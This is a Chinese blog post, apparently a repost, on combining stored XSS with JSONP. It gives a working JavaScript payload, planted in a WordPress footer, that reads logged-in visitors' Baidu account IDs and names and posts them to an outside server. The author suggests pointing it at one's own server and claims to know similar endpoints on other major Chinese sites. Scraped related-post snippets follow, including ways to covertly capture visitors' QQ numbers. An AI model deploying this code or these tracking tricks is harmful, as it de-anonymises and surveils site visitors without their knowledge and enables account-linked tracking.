XSS结合JSONP获取网站访客社交账号信息

  我在本地环境搭建了一个WordPress网站,并在该网站中植入JavaScript文件。如果访客在浏览网站时登录了百度账号,该js文件能够利用JSONP获取网站访客的百度账号信息。

具体情况如下:

1、首先修改WordPress的footer.php文件,引入2个外部JavaScript文件。第一个是jQuery库,第二个是jsonp代码。在实际渗透中,如果该网站存在存储型XSS漏洞,我们就可以将xss_jsonp.js文件植入进去。

2、xss_jsonp.js文件内容如下,具体功能是通过JSONP获取百度账号信息,并上传到服务器上。为了做演示,这里我把获取到的信息上传到www.sogou.com,在实际渗透中,你可以把信息上传到自己的服务器上。

 1 function jsonp_baidu() {
 2     window._baidu_1 = function(object) {
 3     if(!object.id) {
 4         return;
 5     }
 6     var data = {};
 7     data.id = object.id;
 8     data.name = object.name;
 9     $.post(saveUrl + ‘?act=baidu‘, data);
10     };
11     $.ajax({
12         url: "https://baike.baidu.com/api/login/",
13         type: "GET",
14         dataType: "jsonp",
15         jsonp: ‘callback‘,
16         jsonpCallback: "_baidu_1",
17     });
18 }
19 var saveUrl = ‘https://www.sogou.com/xss_jsonp.php‘;
20 jsonp_baidu();

3、访问网站并观察刚才植入的js代码是否执行。

访问百度的JSONP接口,服务器返回登录账号的相关信息。

获取到百度账号信息后,上传到www.sogou.com服务器。

  目前,我已经找到了百度、淘宝、京东、腾讯、新浪、爱奇艺等多个国内流行网站的JSONP接口,从这些接口可以获取用户账号信息。

原文地址:https://www.cnblogs.com/dgjnszf/p/10793535.html

时间: 2024-10-22 12:43:31

XSS结合JSONP获取网站访客社交账号信息的相关文章

自己动手获取网站访客qq号码(转)

首先进入自己的qq空间设置->>>权限设置 权限设置>仅自己可见>保存 然后将自己的qq空间的网址作图片的地址插入到网站里面为了不影响网站的布局加上隐藏代码 style="display:none;" 当网站被访问的时候,如果浏览者也登陆着qq呢 那他的号码就会显示在你的最近访客里面好多写网站访客qq统计软件的都是用的这个原理

php实现网站访客数量统计的方法(简单实现,不能防刷新)

方法一: <?php function Counter()//定义函数 { $five = "00000";//声明变量,$five,$four等变量表示零的个数,放在数字前边构成6位数 $four = "0000"; $three = "000"; $two = "00"; $one = "0"; $counter = "rec.txt";//存放访问数的目的文件,.dat格式

奥威Power-BI For 电商运维解决方案-网站访客分析

(1)通过数字图清晰地显示出网站访客分析里面最值得关注的指标,比如访客数量.下单率.支付率……(2)通过柱状图以时间天为维度直观地显示出每天访客用户的数量.访客构成情况.咨询人数.支付人数以及平均成交金额情况:(3)使用世界地图,以城市为维度分析访客的主要分布情况,可以一目了然地了解到哪个城市的访客数量比较多:(4)分析访客的来源.访客使用的系统以及常用浏览器,可了解到访客的一些使用趋势:(5)点击访客来源可联动到访客使用系统以及常用浏览器

网站访客 简易日志记录

摘要 header 查看header 模拟header php中的使用 IP接口 接口介绍 PHP访问接口并解析 简易方式 略繁方式 解析JSON数据 记录器 操作系统信息 获取浏览器信息 核心 最终效果 总结 摘要 百度站长统计,一个不错的工具.各种信息也能超级详细的被记录下来,可以从下图上略知一二.但是实际上其详细程度远远不止如此.百度统计支持一级域名,以及二级域名的绑定.所以很方便. 但也不是对于所有的服务器都支持,比如我没有给服务器绑定域名,所以自然就没法用了.但是如果我还想获得一些访客

如何实现抓取网站访客手机号的功能

WAP网页取得用户的手机号码: import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.net.URL;import java.net.URLConnection; //数据抓取核心类public class Copy { // 获取网页数据/* @param url:目标网址 @param encoding:编码*/public static St

营销QQ强制弹出聊天代码,自动抓取访客QQ号码

主要功能: 1.把代码放入网站后,当访客访问时,会自动自动弹窗聊天框聊天,更快更便捷的聊天,及时的抓住客户.代码可设置延时时间.再次访问弹窗时间,比如可以设置第一次访问时5秒钟就弹出聊天框,而24小时小时内不会再弹出聊天框,这样就完全不影响访客体验.还可以设置来自搜索引擎的访客才弹出,针对性更强,特别是在搜索引擎竞价的网站! 弹出界面截图演示 2.弹窗聊天框的同时,也获取了访客的QQ号码,这是营销QQ独特的功能,比网络上那些获取访客QQ的代码更准更有效,毕竟交了几千块给腾讯. 抓取到访客QQ能做

获取访客IP、地区位置信息、浏览器、来源页面

<?php //这个类似用来获取访客信息的 //方便统计 class visitorInfo { //获取访客ip public function getIp() { $ip=false; if(!empty($_SERVER["HTTP_CLIENT_IP"])){ $ip = $_SERVER["HTTP_CLIENT_IP"]; } if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ips = explod

安装mod_rpaf让apache获取访客真实IP

安装mod_rpaf让apache获取访客真实IP 安装mod_rpaf让apache获取访客真实IP 作者:朱 茂海 /分类:Apache 字号:L M S mod_rpaf是apache的一个模块,目的是为了获取访客的真实IP,下面是安装方法: wget http://stderr.net/apache/rpaf/download/mod_rpaf-0.6.tar.gz tar xvfz mod_rpaf-0.6.tar.gz cd mod_rpaf-0.6 /usr/local/apach

CSS3新属性:在网站中使用访客电脑里没有安装的字体

CSS的font-family属性使网页可以使用客户电脑里的字体,从而得到多姿多彩的WEB页面,但当客户端没有你想要使用的字体时怎么办呢?我们总不能让每个访问者都去安装一个字体吧?事实上,这是可以的!不过不是访客主动下载的,而是网站开发者帮访客下载安装的,具体怎么实现的,我们还要从字体文件的格式说起.字体格式类型主要有几个大分类:TrueType.Embedded Open Type .OpenType.WOFF .SVG.  TrueType Windows和Mac系统最常用的字体格式,其最大